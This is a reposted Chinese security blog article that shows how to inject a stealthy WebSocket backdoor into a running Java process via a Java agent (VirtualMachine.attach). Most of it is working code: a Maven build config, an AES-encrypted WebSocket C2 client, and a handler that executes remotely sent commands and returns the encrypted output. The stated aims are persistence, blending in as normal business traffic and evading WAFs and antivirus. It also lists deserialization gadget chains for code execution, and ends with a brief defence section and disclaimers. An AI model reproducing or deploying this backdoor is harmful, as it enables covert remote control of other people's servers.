Java Agent 注入 WebSocket 的高级玩法

admin 2025年6月3日16:02:42评论34 views字数 5135阅读17分7秒阅读模式
免责声明 由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号安全洞察知识图谱及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

1插件介绍

Agent

如果要对其进行Agent注入的编写,需要先理解三个名字premain,agentmain,Instrumentation

premain方法在 JVM 启动阶段调用,一般维持权限的时候不会使用

agentmain方法在 JVM 运行时调用  常用的

Instrumentation实例为代理类提供了修改类字节码、监控类加载等功能

前言:为什么选择 Java Agent + WebSocket?

作为权限维持,落地的内存马容易被查杀到,使用Agent可以不改源码的前提下注入,监控,修改。

想法

看起来很正常的业务越不会被发现,甚至是对其进行替代

使用 java.lang.instrument 方式编写 Agent

利用 VirtualMachine.attach 动态挂载 agent,实现对正在运行的 Java 进程注入 WebSocket 后门

利用AES进行数据加密命令加密

长期维持通信信道

如果遇见自带有websocket的可以直接使用现有通信通道

可植入现有业务流程之中(如用户聊天系统、推送系统中)

配合 WebSocket 协议绕 WAF

注入的流程

连接注入JVM

静态注入容易被检测,所以我们采取动态注入,也就是在JVM运行的时候进行注入

VirtualMachine vm = VirtualMachine.attach(pid);
//pid是JVM所在的服务,整个操作是连接JVM
vm.loadAgent(agentPath);

//agentPath是你要注入的agent的jar包

WebScoket C2

制作WebSocket的步骤

参考一下我的pom

    <dependencies>

        <dependency>
            <groupId>org.glassfish.tyrus</groupId>
            <artifactId>tyrus-server</artifactId>
            <version>2.1.1</version>
        </dependency>
        <dependency>
            <groupId>org.json</groupId>
            <artifactId>json</artifactId>
            <version>20210307</version>
        </dependency>
        <dependency>
            <groupId>org.java-websocket</groupId>
            <artifactId>Java-WebSocket</artifactId>
            <version>1.5.2</version>
        </dependency>
    </dependencies>

比较重要的是,有一些依赖需要直接跟随打包

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-shade-plugin</artifactId>
            <version>3.2.4</version>
            <executions>
                <execution>
                    <phase>package</phase>
                    <goals>
                        <goal>shade</goal>
                    </goals>
                    <configuration>
                        <transformers>
                            <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                <manifestEntries>
                                    <Premain-Class>org.example.MyAgent</Premain-Class>
                                    <Agent-Class>org.example.MyAgent</Agent-Class>
                                    <Can-Redefine-Classes>true</Can-Redefine-Classes>
                                    <Can-Retransform-Classes>true</Can-Retransform-Classes>
                                </manifestEntries>
                            </transformer>
                        </transformers>
                    </configuration>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>
<!--  里面的属性数据需要根据自己需求来修改  -->
Websocket管理器(看起来像正常业务)
package org.example;

import java.util.Base64;

public class WSManager {
    private static WSClient client;

    public static void setClient(WSClient c) {
        client = c;
    }

    public static void sendEncrypted(String plaintext) {
        try {
            byte[] encrypted = AES.encrypt(plaintext, "1234567890abcdef");
            client.send(Base64.getEncoder().encodeToString(encrypted));
        } catch (Exception ignored) {}
    }
}

上面代码主要的作用是对其进行数据发送加密处理

package org.example;

import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;

import java.net.URI;

public class WSClient extends WebSocketClient {

    public WSClient(URI serverUri) {
        super(serverUri);
    }

    @Override
    public void onOpen(ServerHandshake handshakedata) {
        WSManager.setClient(this);
    }

    @Override
    public void onMessage(String message) {
        CommandHandler.handle(message);
    }

    @Override
    public void onClose(int code, String reason, boolean remote) {

    }

    @Override
    public void onError(Exception ex) {
        ex.printStackTrace();
    }
}
//简单的一个客户端的样子
命令执行部分CommandHandler
package org.example;

import org.json.JSONObject;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Base64;
import java.util.stream.Collectors;

public class CommandHandler {
    public static void handle(String msg) {
        try {
            String json = AES.decrypt(Base64.getDecoder().decode(msg), "1234567890abcdef");
            //先对其进行解密
            JSONObject obj = new JSONObject(json);
            String type = obj.getString("type");
            String payload = obj.getString("payload");
            //对其进行json处理,像正常业务
            if ("exec".equals(type)) {
                ProcessBuilder pb = new ProcessBuilder(payload.split(" "));
                pb.redirectErrorStream(true);
                //命令执行
                String result = new BufferedReader(
                        new InputStreamReader(pb.start().getInputStream()))
                        .lines().collect(Collectors.joining("n"));
            //正常返回结果
                JSONObject res = new JSONObject();
                res.put("type", "result");
                res.put("payload", result);

                WSManager.sendEncrypted(res.toString());
                //加密返回
            }

        } catch (Exception ignored) {
            ignored.printStackTrace();
        }
    }
}

数据包部分

Java Agent 注入 WebSocket 的高级玩法

这是在执行命令并且返回回来后的数据包,除了发送命令过去的时候会是明文,但也可以对其进行修改

Java Agent 注入 WebSocket 的高级玩法

从数据包中,看不出什么异常,避免了WAF的检测

拓展

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
Object cmdObj = ois.readObject();
//如果觉得这样的执行可能被检测到
//CC链
BadAttributeValueExpException
    -> toString()
    -> Transformer (InvokerTransformer)
    -> Runtime.getRuntime().exec()

//Spring BeanFactory
TemplatesImpl
  -> getOutputProperties()
  -> 触发字节码加载
  -> 加载恶意类字节码
//JDBC
JdbcRowSetImpl
  -> setDataSourceName("rmi://xxxxxx/obj")
  -> getDatabaseMetaData()
  -> JNDI 注入

防御

JVM添加参数

-Djdk.attach.allowAttachSelf=false

移除 JVM 的 Attach 功能

$JAVA_HOME/lib/tools.jar
$JAVA_HOME/lib/libattach.so   (Linux)
$JAVA_HOME/jre/lib/libattach.dylib (macOS)

运行截图

Java Agent 注入 WebSocket 的高级玩法

先启动了监听端

Java Agent 注入 WebSocket 的高级玩法

添加了一部分输出,让其更明显

Java Agent 注入 WebSocket 的高级玩法

免杀效果?

Java Agent 注入 WebSocket 的高级玩法Java Agent 注入 WebSocket 的高级玩法

转自先知社区:https://xz.aliyun.com/news/17775 作者: youkill

仅作交流学习使用如有侵权请联系删除

2免费社区

安全洞察知识图谱星球是一个聚焦于信息安全对抗技术和企业安全建设的话题社区,也是一个[免费]的星球,欢迎大伙加入积极分享红蓝对抗、渗透测试、安全建设等热点主题

Java Agent 注入 WebSocket 的高级玩法
Java Agent 注入 WebSocket 的高级玩法

原文始发于微信公众号(安全洞察知识图谱):Java Agent 注入 WebSocket 的高级玩法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月3日16:02:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java Agent 注入 WebSocket 的高级玩法https://cn-sec.com/archives/4127006.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息